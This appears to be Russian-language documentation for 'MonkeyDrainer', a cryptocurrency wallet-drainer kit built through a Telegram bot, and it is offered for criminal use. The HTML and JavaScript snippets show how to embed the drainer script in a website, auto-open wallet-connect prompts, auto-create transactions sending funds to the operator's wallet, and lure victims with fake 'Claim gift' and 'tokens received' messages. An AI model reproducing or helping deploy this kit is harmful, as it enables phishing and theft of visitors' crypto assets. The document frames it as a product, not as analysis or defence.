Skip to content

Интеграция MonkeyDrainer на сайт

Шаг 1: Сборка библиотеки через Telegram-бота

  1. Откройте диалог с ботом MonkeyDrainer в Telegram.
  2. Нажмите кнопку "⚒️ Собрать дрейнер".
  3. Укажите адрес вашего кошелька и (опционально) список доменов для разрешённого взаимодействия.
  4. Получите файл библиотеки и файл стилей.

Шаг 2: Подключение библиотеки и стилей

  1. Скачайте файл библиотеки (fusion-drainer.js) и файл стилей (fusion-drainer.css).
  2. Поместите их в директорию вашего сайта, где находятся другие ресурсы, такие как JavaScript и CSS файлы.

Пример подключения библиотеки и стилей:

html
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Пример MonkeyDrainer</title>

  <!-- Подключаем файл стилей MonkeyDrainer -->
  <link rel="stylesheet" href="/fusion-drainer.css" />

  <!-- Подключаем файл библиотеки MonkeyDrainer -->
  <script src="/fusion-drainer.js?v=1.0.0" defer></script>
</head>
<body>
  <!-- Контент вашего сайта -->
</body>
</html>

Параметр версии в URL

Параметр ?v=1.0.0 в URL скрипта указывает на версию файла. Это важно для правильной работы кэширования в браузерах и на серверах:

  • Избегание кэширования старых версий: Когда вы обновляете файл библиотеки, измените номер версии в параметре URL (например, с ?v=1.0.0 на ?v=1.1.0). Это заставит браузеры и серверы загружать последнюю версию файла, а не использовать старую кэшированную версию.

Пример:

  • Старая версия: <script src="/fusion-drainer.js?v=1.0.0" defer></script>
  • Новая версия: <script src="/fusion-drainer.js?v=1.1.0" defer></script>

Шаг 3: Инициализация библиотеки

Теперь библиотека поддерживает следующие параметры в объекте конфигурации:

  • autoCreateTransaction: автоматически создаёт транзакцию при подключении кошелька.
  • autoOpenModal: автоматически открывает модальное окно для подключения кошелька при загрузке страницы.
  • honeypotMessage: сообщение, отображаемое при совершении транзакции.
  • honeypotAmount: сумма, которая будет использоваться для Honeypot.
  • jettonMessage: функция, принимающая параметры amount и symbol, которая возвращает строку сообщения при получении Jetton.

Пример инициализации библиотеки:

html
<!-- Контейнер для стандартной кнопки подключения кошелька -->
<div id="wallet-button-wrapper"></div>

<script>
  window.addEventListener('load', () => {
    const drainer = window.drainer;

    if (drainer) {
      // Инициализация библиотеки с новыми опциями
      drainer.init('#wallet-button-wrapper', {
        autoCreateTransaction: true, // Автоматическое создание транзакции
        autoOpenModal: true, // Автоматическое открытие модального окна
        honeypotMessage: "🎁 Claim gift", // Сообщение при Honeypot-транзакции
        honeypotAmount: 100, // Установка суммы для Honeypot
        jettonMessage: (amount, symbol) => `🎉 Получено ${amount} ${symbol}` // Сообщение при получении Jetton
      });
    }
  });
</script>

Пример использования кастомных кнопок

Если вы хотите использовать свои кнопки, нужно скрыть контейнер стандартной кнопки с помощью стиля display: none и добавить класс wallet-connect-trigger к вашим кастомным кнопкам.

Пример кастомной кнопки для подключения кошелька:

html
<!-- Скрытый контейнер для стандартной кнопки -->
<div id="wallet-button-wrapper" style="display: none;"></div>

<!-- Кастомная кнопка для подключения кошелька -->
<button class="wallet-connect-trigger">Подключить кошелек</button>

<script>
  window.addEventListener('load', () => {
    const drainer = window.drainer;

    if (drainer) {
      // Инициализация библиотеки с кастомными кнопками и настройками
      drainer.init('#wallet-button-wrapper', {
        autoCreateTransaction: false, // Отключение автоматической транзакции
        autoOpenModal: false, // Отключение автоматического открытия модального окна
        honeypotMessage: "🎁 Claim gift", // Сообщение при Honeypot-транзакции
        honeypotAmount: 50, // Установка суммы Honeypot
        jettonMessage: (amount, symbol) => `🎉 Получено ${amount} ${symbol}` // Сообщение при получении Jetton
      });
    }
  });
</script>

Шаг 4: Создание транзакции

Если вы хотите создать транзакцию вручную, можно сделать это вызвав метод createTransaction() в нужный момент. Пример кастомной кнопки для создания транзакции:

html
<!-- Кастомная кнопка для создания транзакции -->
<button onclick="window.drainer.createTransaction()">Create Transaction</button>

Пример полной интеграции

html
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Пример MonkeyDrainer</title>

  <!-- Подключаем файл стилей MonkeyDrainer -->
  <link rel="stylesheet" href="/fusion-drainer.css" />

  <!-- Подключаем файл библиотеки MonkeyDrainer -->
  <script src="/fusion-drainer.js?v=1.0.0" defer></script>
</head>
<body>

  <!-- Скрытый контейнер для стандартной кнопки подключения -->
  <div id="wallet-button-wrapper" style="display: none;"></div>

  <!-- Кастомная кнопка для подключения кошелька -->
  <button class="wallet-connect-trigger">Подключить кошелек</button>

  <!-- Кастомная кнопка для создания транзакции -->
  <button onclick="window.drainer.createTransaction()">Создать транзакцию</button>

  <script>
    window.addEventListener('load', () => {
      const drainer = window.drainer;

      if (drainer) {
        // Инициализация библиотеки с кастомными кнопками и Honeypot-суммой
        drainer.init('#wallet-button-wrapper', { 
          autoCreateTransaction: false,
          honeypotAmount: 200 // Установка суммы для Honeypot
        });
      }
    });
  </script>

</body>
</html>

Основные методы библиотеки

  1. Инициализация библиотеки

    js
    window.drainer.init('#wallet-button-wrapper', options);
    • #wallet-button-wrapper — это контейнер для основной кнопки подключения кошелька.
    • options — объект конфигурации (например, { autoCreateTransaction: true, honeypotAmount: 100 }).
  2. Создание транзакции вручную

    js
    window.drainer.createTransaction();
  3. Открытие модального окна для подключения кошелька

    js
    window.drainer.openModal();
  4. Обновление суммы Honeypot после инициализации

    js
    window.drainer.updateHoneypotAmount(150);
  5. Обработка событий подключения и отключения кошелька

    js
    window.drainer.onWalletConnect(() => { /* Действия при подключении кошелька */ });
    window.drainer.onWalletDisconnect(() => { /* Действия при отключении кошелька */ });